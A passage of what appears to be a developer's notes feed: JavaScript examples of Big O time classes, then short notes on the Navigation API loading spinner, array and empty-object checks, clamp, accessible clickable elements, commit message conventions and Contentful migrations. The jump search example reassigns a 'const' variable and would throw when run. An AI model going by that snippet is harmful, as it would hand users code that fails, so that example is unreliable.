&lt;p&gt;&lt;strong&gt;Examples:&lt;/strong&gt; Binary search, balanced BST operations, finding an item in a sorted array, calculating exponents with binary exponentiation.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;O(n) — Linear Time&lt;/h2&gt;
&lt;p&gt;Runtime grows proportionally with input size. You touch each element once.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Find maximum value
function findMax(arr) {
  let max = arr[0];
  for (const num of arr) {
    if (num &amp;gt; max) max = num;
  }
  return max;
}

// Linear search
const includes = (arr, target) =&amp;gt; {
  for (const item of arr) {
    if (item === target) return true;
  }
  return false;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Examples:&lt;/strong&gt; Array traversal, linear search, counting elements, finding min/max, calculating sum.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;O(n log n) — Linearithmic Time&lt;/h2&gt;
&lt;p&gt;Common in efficient sorting algorithms. Combines linear traversal with logarithmic division.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Merge Sort
function mergeSort(arr) {
  if (arr.length &amp;lt;= 1) return arr;

  const mid = Math.floor(arr.length / 2);
  const left = mergeSort(arr.slice(0, mid));
  const right = mergeSort(arr.slice(mid));

  return merge(left, right);
}

function merge(left, right) {
  const result = [];
  let i = 0, j = 0;

  while (i &amp;lt; left.length &amp;amp;&amp;amp; j &amp;lt; right.length) {
    if (left[i] &amp;lt;= right[j]) result.push(left[i++]);
    else result.push(right[j++]);
  }

  return result.concat(left.slice(i)).concat(right.slice(j));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Examples:&lt;/strong&gt; Merge sort, quick sort (average case), heap sort, efficient sorting of linked lists.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;O(n²) — Quadratic Time&lt;/h2&gt;
&lt;p&gt;Runtime grows with the square of input size. Usually involves nested loops.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Bubble Sort
function bubbleSort(arr) {
  const n = arr.length;
  for (let i = 0; i &amp;lt; n; i++) {
    for (let j = 0; j &amp;lt; n - i - 1; j++) {
      if (arr[j] &amp;gt; arr[j + 1]) {
        [arr[j], arr[j + 1]] = [arr[j + 1], arr[j]];
      }
    }
  }
  return arr;
}

// Check for duplicates (naive)
function hasDuplicates(arr) {
  for (let i = 0; i &amp;lt; arr.length; i++) {
    for (let j = i + 1; j &amp;lt; arr.length; j++) {
      if (arr[i] === arr[j]) return true;
    }
  }
  return false;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Examples:&lt;/strong&gt; Bubble sort, insertion sort, selection sort, comparing all pairs, simple matrix operations.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;O(n³) — Cubic Time&lt;/h2&gt;
&lt;p&gt;Common in naive matrix operations and dynamic programming with 3D tables.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Matrix multiplication (naive)
function multiplyMatrices(A, B) {
  const n = A.length;
  const C = Array(n).fill(null).map(() =&amp;gt; Array(n).fill(0));

  for (let i = 0; i &amp;lt; n; i++) {
    for (let j = 0; j &amp;lt; n; j++) {
      for (let k = 0; k &amp;lt; n; k++) {
        C[i][j] += A[i][k] * B[k][j];
      }
    }
  }
  return C;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Examples:&lt;/strong&gt; Naive matrix multiplication, Floyd-Warshall algorithm, 3-SUM problem (naive), certain dynamic programming solutions.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;O(2ⁿ) — Exponential Time&lt;/h2&gt;
&lt;p&gt;Runtime doubles with each additional input element. Often seen in brute-force recursive solutions.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Fibonacci (naive recursive)
function fibonacci(n) {
  if (n &amp;lt;= 1) return n;
  return fibonacci(n - 1) + fibonacci(n - 2);
}

// Generate all subsets
function subsets(arr) {
  if (arr.length === 0) return [[]];

  const first = arr[0];
  const rest = subsets(arr.slice(1));

  return rest.concat(rest.map(subset =&amp;gt; [first, ...subset]));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Examples:&lt;/strong&gt; Naive Fibonacci, generating all subsets/power sets, solving Tower of Hanoi, brute-force password cracking.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;O(n!) — Factorial Time&lt;/h2&gt;
&lt;p&gt;Runtime grows astronomically. Reserved for problems requiring all permutations.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Generate all permutations
function permutations(arr) {
  if (arr.length &amp;lt;= 1) return [arr];

  const result = [];
  for (let i = 0; i &amp;lt; arr.length; i++) {
    const current = arr[i];
    const remaining = [...arr.slice(0, i), ...arr.slice(i + 1)];
    const perms = permutations(remaining);
    for (const perm of perms) {
      result.push([current, ...perm]);
    }
  }
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Examples:&lt;/strong&gt; Generating all permutations, brute-force travelling salesman problem, solving n-queens by trying all arrangements.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;O(√n) — Square Root Time&lt;/h2&gt;
&lt;p&gt;Runtime grows relative to the square root of input. Used in optimisation techniques.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Check if number is prime
function isPrime(n) {
  if (n &amp;lt; 2) return false;
  for (let i = 2; i &amp;lt;= Math.sqrt(n); i++) {
    if (n % i === 0) return false;
  }
  return true;
}

// Jump search
function jumpSearch(arr, target) {
  const n = arr.length;
  const step = Math.floor(Math.sqrt(n));
  let prev = 0;

  while (arr[Math.min(step, n) - 1] &amp;lt; target) {
    prev = step;
    step += Math.floor(Math.sqrt(n));
    if (prev &amp;gt;= n) return -1;
  }

  while (arr[prev] &amp;lt; target) {
    prev++;
    if (prev === Math.min(step, n)) return -1;
  }

  return arr[prev] === target ? prev : -1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Examples:&lt;/strong&gt; Prime checking, jump search, Sieve of Eratosthenes optimisations, finding divisors.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Space Complexity&lt;/h2&gt;
&lt;p&gt;Big O also applies to &lt;strong&gt;memory usage&lt;/strong&gt;:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Algorithm&lt;/th&gt;
&lt;th&gt;Time&lt;/th&gt;
&lt;th&gt;Space&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Bubble Sort&lt;/td&gt;
&lt;td&gt;O(n²)&lt;/td&gt;
&lt;td&gt;O(1)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Merge Sort&lt;/td&gt;
&lt;td&gt;O(n log n)&lt;/td&gt;
&lt;td&gt;O(n)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Quick Sort&lt;/td&gt;
&lt;td&gt;O(n log n)&lt;/td&gt;
&lt;td&gt;O(log n)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hash Table Lookup&lt;/td&gt;
&lt;td&gt;O(1)&lt;/td&gt;
&lt;td&gt;O(n)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Trade-off example:&lt;/strong&gt; Memoization trades O(n) space for improved time complexity.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Tips for Analysis&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Drop constants&lt;/strong&gt; — O(2n) simplifies to O(n)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Drop non-dominant terms&lt;/strong&gt; — O(n² + n) simplifies to O(n²)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Consider worst case&lt;/strong&gt; — Big O typically describes the worst-case scenario&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Analyse loops&lt;/strong&gt; — Nested loops often multiply complexity&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Recursive calls&lt;/strong&gt; — Draw the recursion tree to understand branching&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Common Pitfalls&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Hidden loops&lt;/strong&gt; — Methods like &lt;code&gt;indexOf()&lt;/code&gt;, &lt;code&gt;includes()&lt;/code&gt;, &lt;code&gt;slice()&lt;/code&gt; are O(n)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;String concatenation&lt;/strong&gt; — Building strings in a loop can be O(n²) in some languages&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Copying data&lt;/strong&gt; — &lt;code&gt;slice()&lt;/code&gt;, &lt;code&gt;spread operator&lt;/code&gt;, &lt;code&gt;Object.assign()&lt;/code&gt; are O(n)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>computer-science</category><author>Zander Martineau</author></item><item><title>Native browser loading state</title><link>https://zander.wtf/notes/browser-loading-state/</link><guid isPermaLink="true">https://zander.wtf/notes/browser-loading-state/</guid><description>With the Navigation API — now shipped in all major browsers (Chromium since 2022, Safari and Firefox since) — you can show the native spinner + stop button…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;With the &lt;a href=&quot;http://developer.mozilla.org/en-US/docs/Web/API/Navigation&quot;&gt;Navigation API&lt;/a&gt; — now shipped in all major browsers (Chromium since 2022, Safari and Firefox since) — you can show the native spinner + stop button for any asynchronous operation - all you need is a Promise.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function showLoading(promise) {
  navigation.addEventListener(
    &apos;navigate&apos;,
    (event) =&amp;gt; {
      event.intercept({
        scroll: &apos;manual&apos;,
        handler: () =&amp;gt; promise,
      })
    },
    { once: true }
  )
  return navigation.navigate(location.href).finished
}

// show browser loading UI
showLoading(new Promise((r) =&amp;gt; setTimeout(r, 1500)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One caveat: &lt;code&gt;navigation.navigate(location.href)&lt;/code&gt; pushes/replaces a history entry as a side effect — pass &lt;code&gt;{ history: &apos;replace&apos; }&lt;/code&gt; if you don&apos;t want a new entry.&lt;/p&gt;
&lt;h3&gt;Further reading&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;https://developer.chrome.com/docs/web-platform/navigation-api/#intercepting&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Check if value is array in JavaScript</title><link>https://zander.wtf/notes/check-if-js-array/</link><guid isPermaLink="true">https://zander.wtf/notes/check-if-js-array/</guid><description>Use Array.isArray(). That&apos;s it — it handles every case, including values from other realms. Why not the alternatives? instanceof Array Fails across realms:…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Use &lt;code&gt;Array.isArray()&lt;/code&gt;. That&apos;s it — it handles every case, including values from other realms.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Array.isArray([]) // true
Array.isArray(&apos;test&apos;) // false
Array.isArray({}) // false
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Why not the alternatives?&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;instanceof Array&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;;[] instanceof Array // true
&apos;test&apos; instanceof Array // false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Fails across realms: an array created in an iframe or worker has a different &lt;code&gt;Array&lt;/code&gt; constructor, so &lt;code&gt;instanceof&lt;/code&gt; returns &lt;code&gt;false&lt;/code&gt; for a perfectly good array.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;.constructor === Array&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;;[].constructor === Array // true
&apos;foo&apos;.constructor === Array // false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Throws on &lt;code&gt;null&lt;/code&gt;/&lt;code&gt;undefined&lt;/code&gt;, has the same cross-realm problem, and &lt;code&gt;constructor&lt;/code&gt; can be reassigned so it&apos;s spoofable anyway.&lt;/p&gt;
&lt;p&gt;From &lt;a href=&quot;https://stackoverflow.com/questions/767486/how-do-you-check-if-a-variable-is-an-array-in-javascript&quot;&gt;Stack Overflow&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Check if JavaScript object is empty</title><link>https://zander.wtf/notes/check-if-js-object-empty/</link><guid isPermaLink="true">https://zander.wtf/notes/check-if-js-object-empty/</guid><description>The constructor === Object check matters — without it, things like &apos;&apos;, 0, 42 and [] also pass the &quot;no keys&quot; test and get treated as empty objects.…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;if (obj != null &amp;amp;&amp;amp; obj.constructor === Object &amp;amp;&amp;amp; Object.keys(obj).length === 0) {
  // do something
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;constructor === Object&lt;/code&gt; check matters — without it, things like &lt;code&gt;&apos;&apos;&lt;/code&gt;, &lt;code&gt;0&lt;/code&gt;, &lt;code&gt;42&lt;/code&gt; and &lt;code&gt;[]&lt;/code&gt; also pass the &quot;no keys&quot; test and get treated as empty objects. &lt;code&gt;Object.keys&lt;/code&gt; beats &lt;code&gt;Object.entries&lt;/code&gt; here too: no point allocating all those &lt;code&gt;[key, value]&lt;/code&gt; pairs just to count them.&lt;/p&gt;
&lt;p&gt;As a function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export const isObjectEmpty = (obj: unknown): boolean =&amp;gt; {
  return (
    obj != null &amp;amp;&amp;amp;
    obj.constructor === Object &amp;amp;&amp;amp;
    Object.keys(obj).length === 0
  )
}

// isObjectEmpty({}) true
// isObjectEmpty({a: 1}) false
// isObjectEmpty([]) false
// isObjectEmpty(&apos;&apos;) false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can also invert that function to check if an object has values.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export const isObjectFull = (obj) =&amp;gt; !isObjectEmpty(obj)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Not sure about the naming of this one, but you get the idea&lt;/p&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Clamp number</title><link>https://zander.wtf/notes/clamp-number/</link><guid isPermaLink="true">https://zander.wtf/notes/clamp-number/</guid><description>JavaScript There&apos;s a TC39 proposal for Math.clamp that would make this one-liner redundant eventually. CSS clamp() has been supported everywhere since…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;JavaScript&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const clamp = (value: number, min: number, max: number) =&amp;gt; {
  return Math.min(Math.max(value, min), max)
}

// clamp(21, 20, 50) &amp;gt; 21
// clamp(10, 20, 50) &amp;gt; 20
// clamp(80, 20, 50) &amp;gt; 50
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There&apos;s a &lt;a href=&quot;https://github.com/tc39/proposal-math-clamp&quot;&gt;TC39 proposal for &lt;code&gt;Math.clamp&lt;/code&gt;&lt;/a&gt; that would make this one-liner redundant eventually.&lt;/p&gt;
&lt;h2&gt;CSS&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;clamp()&lt;/code&gt; has been supported everywhere since 2020, so just use it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;body {
  font-size: clamp(16px, 4vw, 22px);
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><category>css</category><author>Zander Martineau</author></item><item><title>Clickable box</title><link>https://zander.wtf/notes/clickable-box/</link><guid isPermaLink="true">https://zander.wtf/notes/clickable-box/</guid><description>Just use a native . You get focus, keyboard activation, disabled, and screen reader semantics for free — recreating all of that on a div/span is a lot of…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Just use a native &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt;.&lt;/strong&gt; You get focus, keyboard activation, &lt;code&gt;disabled&lt;/code&gt;, and screen reader semantics for free — recreating all of that on a div/span is a lot of effort for a worse result. (The &lt;a href=&quot;https://github.com/danoc/clickable-box&quot;&gt;clickable-box&lt;/a&gt; library this note was based on is abandoned, which rather proves the point.)&lt;/p&gt;
&lt;p&gt;If you genuinely can&apos;t use a &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt;, here&apos;s the minimum for a11y parity. Note &lt;code&gt;event.key&lt;/code&gt; — &lt;code&gt;event.keyCode&lt;/code&gt; is deprecated — and that &lt;code&gt;role=&quot;button&quot;&lt;/code&gt; must activate on both &amp;lt;kbd&amp;gt;Enter&amp;lt;/kbd&amp;gt; and &amp;lt;kbd&amp;gt;Space&amp;lt;/kbd&amp;gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;span
  // Make the element clickable
  onClick={handleClick}
  // Make the element focusable by keyboard
  tabIndex={0}
  // Native buttons activate on both Enter and Space
  onKeyDown={(event) =&amp;gt; {
    if (event.key === &apos;Enter&apos; || event.key === &apos; &apos;) {
      event.preventDefault()
      handleClick()
    }
  }}
  // Tell screen readers that the element is a button
  role=&quot;button&quot;
  aria-label=&quot;Close modal&quot;
&amp;gt;
  &amp;lt;CloseIcon /&amp;gt;
&amp;lt;/span&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;See &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/key&quot;&gt;MDN on &lt;code&gt;KeyboardEvent.key&lt;/code&gt;&lt;/a&gt; for the key values.&lt;/p&gt;
</content:encoded><category>javascript</category><category>react</category><author>Zander Martineau</author></item><item><title>Commit message guidelines</title><link>https://zander.wtf/notes/commit-message-guidelines/</link><guid isPermaLink="true">https://zander.wtf/notes/commit-message-guidelines/</guid><description>https://chris.beams.io/posts/git-commit/ Writing commits Not to the important part, when writing commits, it&apos;s important to think about: Your future self…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;https://chris.beams.io/posts/git-commit/&lt;/p&gt;
&lt;h2&gt;Writing commits&lt;/h2&gt;
&lt;p&gt;Not to the important part, when writing commits, it&apos;s important to think about:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Your future self&lt;/li&gt;
&lt;li&gt;Your colleagues&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You may think this is trivial, but it&apos;s not. It&apos;s important for the reader to understand what happened.&lt;/p&gt;
&lt;h2&gt;Recommendations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Keep the message short&lt;/strong&gt;: Makes the list of commits more readable (~50 chars).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Talk imperative&lt;/strong&gt;: Follow this rule: &lt;code&gt;If applied, this commit will &amp;lt;commit message&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Think about the CHANGELOG&lt;/strong&gt;: Your commits will probably end up in the changelog so try writing for it, but also keep in mind that you can skip sending commits to the CHANGELOG by using different keywords (like &lt;code&gt;build&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use a commit per new feature&lt;/strong&gt;: if you introduce multiple things related to the same commit, squash them. This is useful for auto-generating CHANGELOG.&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Do&apos;s&lt;/th&gt;
&lt;th&gt;Don&apos;ts&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;fix(commands): bump error when no user provided&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;fix: stuff&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;feat: add new commit command&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;feat: commit command introduced&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;p&gt;Having precise rules over how git commit messages are formatted leads to &amp;lt;Highlight&amp;gt;more readable messages&amp;lt;/Highlight&amp;gt; that are easy to follow when looking through the &amp;lt;Highlight&amp;gt;project history&amp;lt;/Highlight&amp;gt;.&lt;/p&gt;
&lt;h2&gt;Commit Message Format&lt;/h2&gt;
&lt;p&gt;Each commit message consists of a &lt;strong&gt;header&lt;/strong&gt;, a &lt;strong&gt;body&lt;/strong&gt; and a &lt;strong&gt;footer&lt;/strong&gt;. The header has a special format that includes a &lt;strong&gt;type&lt;/strong&gt;, a &lt;strong&gt;scope&lt;/strong&gt; and a &lt;strong&gt;subject&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;type&amp;gt;(&amp;lt;scope&amp;gt;): &amp;lt;subject&amp;gt;

&amp;lt;body&amp;gt;

&amp;lt;footer&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;strong&gt;header&lt;/strong&gt; is mandatory and the &lt;strong&gt;scope&lt;/strong&gt; of the header is optional.&lt;/p&gt;
&lt;p&gt;Any line of the commit message cannot be longer 100 characters! This allows the message to be easier to read on GitHub as well as in various git tools.&lt;/p&gt;
&lt;p&gt;The footer should contain a &lt;a href=&quot;https://help.github.com/articles/closing-issues-via-commit-messages/&quot;&gt;closing reference to an issue&lt;/a&gt; if any.&lt;/p&gt;
&lt;p&gt;Samples: (even more &lt;a href=&quot;https://github.com/angular/angular/commits/master&quot;&gt;samples&lt;/a&gt;)&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Commit message&lt;/th&gt;
&lt;th&gt;Release type&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;fix(pencil): stop graphite breaking when too much pressure applied&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Patch Release&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;feat(pencil): add &apos;graphiteWidth&apos; option&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;s&gt;Minor&lt;/s&gt; Feature Release&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;perf(pencil): remove graphiteWidth option&lt;/code&gt;&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&lt;code&gt;BREAKING CHANGE: The graphiteWidth option has been removed.&lt;/code&gt;&amp;lt;br/&amp;gt;&lt;code&gt;The default graphite width of 10mm is always used for performance reasons.&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;s&gt;Major&lt;/s&gt; Breaking Release&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Revert&lt;/h3&gt;
&lt;p&gt;If the commit reverts a previous commit, it should begin with revert:, followed by the header of the reverted commit. In the body it should say: This reverts commit &lt;code&gt;hash&lt;/code&gt;., where the hash is the SHA of the commit being reverted.&lt;/p&gt;
&lt;h3&gt;Type&lt;/h3&gt;
&lt;p&gt;Must be one of the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;build&lt;/strong&gt;: Changes that affect the build system or external dependencies (example scopes: gulp, broccoli, npm)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ci&lt;/strong&gt;: Changes to our CI configuration files and scripts (example scopes: Travis, Circle, BrowserStack, SauceLabs)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;docs&lt;/strong&gt;: Documentation only changes&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;feat&lt;/strong&gt;: A new feature&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;fix&lt;/strong&gt;: A bug fix&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;perf&lt;/strong&gt;: A code change that improves performance&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;refactor&lt;/strong&gt;: A code change that neither fixes a bug nor adds a feature&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;style&lt;/strong&gt;: Changes that do not affect the meaning of the code (white-space, formatting, missing semi-colons, etc)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;test&lt;/strong&gt;: Adding missing tests or correcting existing tests&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Scope&lt;/h3&gt;
&lt;p&gt;The scope should be the name of the npm package affected (as perceived by the person reading the changelog generated from commit messages.&lt;/p&gt;
&lt;p&gt;For each project your team should define your supported scopes.&lt;/p&gt;
&lt;h3&gt;Subject&lt;/h3&gt;
&lt;p&gt;The subject contains a succinct description of the change:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;use the imperative, present tense: &quot;change&quot; not &quot;changed&quot; nor &quot;changes&quot;&lt;/li&gt;
&lt;li&gt;don&apos;t capitalise the first letter&lt;/li&gt;
&lt;li&gt;no dot (.) at the end&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Body&lt;/h3&gt;
&lt;p&gt;Just as in the &lt;strong&gt;subject&lt;/strong&gt;, use the imperative, present tense: &quot;change&quot; not &quot;changed&quot; nor &quot;changes&quot;. The body should include the motivation for the change and contrast this with previous behaviour.&lt;/p&gt;
&lt;h3&gt;Footer&lt;/h3&gt;
&lt;p&gt;The footer should contain any information about &lt;strong&gt;Breaking Changes&lt;/strong&gt; and is also the place to reference GitHub issues that this commit &lt;strong&gt;Closes&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Breaking Changes&lt;/strong&gt; should start with the word BREAKING CHANGE: with a space or two newlines. The rest of the commit message is then used for this.&lt;/p&gt;
</content:encoded><category>git</category><author>Zander Martineau</author></item><item><title>Contentful migrations</title><link>https://zander.wtf/notes/contentful-migrations/</link><guid isPermaLink="true">https://zander.wtf/notes/contentful-migrations/</guid><description>Content &amp; schema migrations For migrations you will need Contentful&apos;s command line interface tool. Pre-requisites Node LTS Installation Using homebrew:…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Content &amp;amp; schema migrations&lt;/h1&gt;
&lt;p&gt;For migrations you will need Contentful&apos;s &lt;a href=&quot;https://github.com/contentful/contentful-cli&quot;&gt;command line interface tool&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Pre-requisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Node LTS&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Installation&lt;/h3&gt;
&lt;p&gt;Using &lt;a href=&quot;https://brew.sh&quot;&gt;homebrew&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;brew install contentful-cli
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using &lt;a href=&quot;https://npmjs.org&quot;&gt;npm&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm install -g contentful-cli
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Login&lt;/h3&gt;
&lt;p&gt;You will need to login to Contentful on your computer. Run &lt;code&gt;contentful login&lt;/code&gt; and follow the prompts, see below for an example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;❯ contentful login

A browser window will open where you will log in (or sign up if you don’t have an account), authorize this CLI tool and paste your CMA token here:

? Open a browser window now? Yes
? Paste your token here: [hidden]

Great! Your CMA token is now stored on your system. (Located at /Users/zander/.contentfulrc.json)
You can always run contentful logout to remove it.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Create a new CMA token (personal access token) from &lt;code&gt;https://app.contentful.com/spaces/&amp;lt;space-id&amp;gt;/api/cma_tokens&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Content modeling &amp;amp; migration scripts&lt;/h2&gt;
&lt;p&gt;Every time you need to modify a content model, a new migration script should be created. It needs to be carefully modelled so that you don&apos;t overwrite existing types and content.&lt;/p&gt;
&lt;p&gt;For more information on how to model your content programmatically, see &lt;a href=&quot;https://www.contentful.com/developers/docs/concepts/data-model/&quot;&gt;these docs&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;When editing existing fields, it can be useful to view the JSON representation of the content model to see what is there. e.g. &lt;code&gt;https://app.contentful.com/spaces/&amp;lt;space-id&amp;gt;/environments/staging/content_types/article/preview&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Useful links:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/contentful/contentful-migration&quot;&gt;Migration docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.contentful.com/developers/docs/extensibility/app-framework/editor-interfaces/&quot;&gt;Editor interfaces&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.contentful.com/developers/docs/references/content-management-api/#/reference/content-types/content-type&quot;&gt;Validations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.contentful.com/developers/docs/tutorials/cli/scripting-migrations/&quot;&gt;Contentful migrations tutorial&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://contentful.wistia.com/medias/kkw7k4j7lp&quot;&gt;Video overview of using the contentful CLI&lt;/a&gt;&lt;/li&gt;
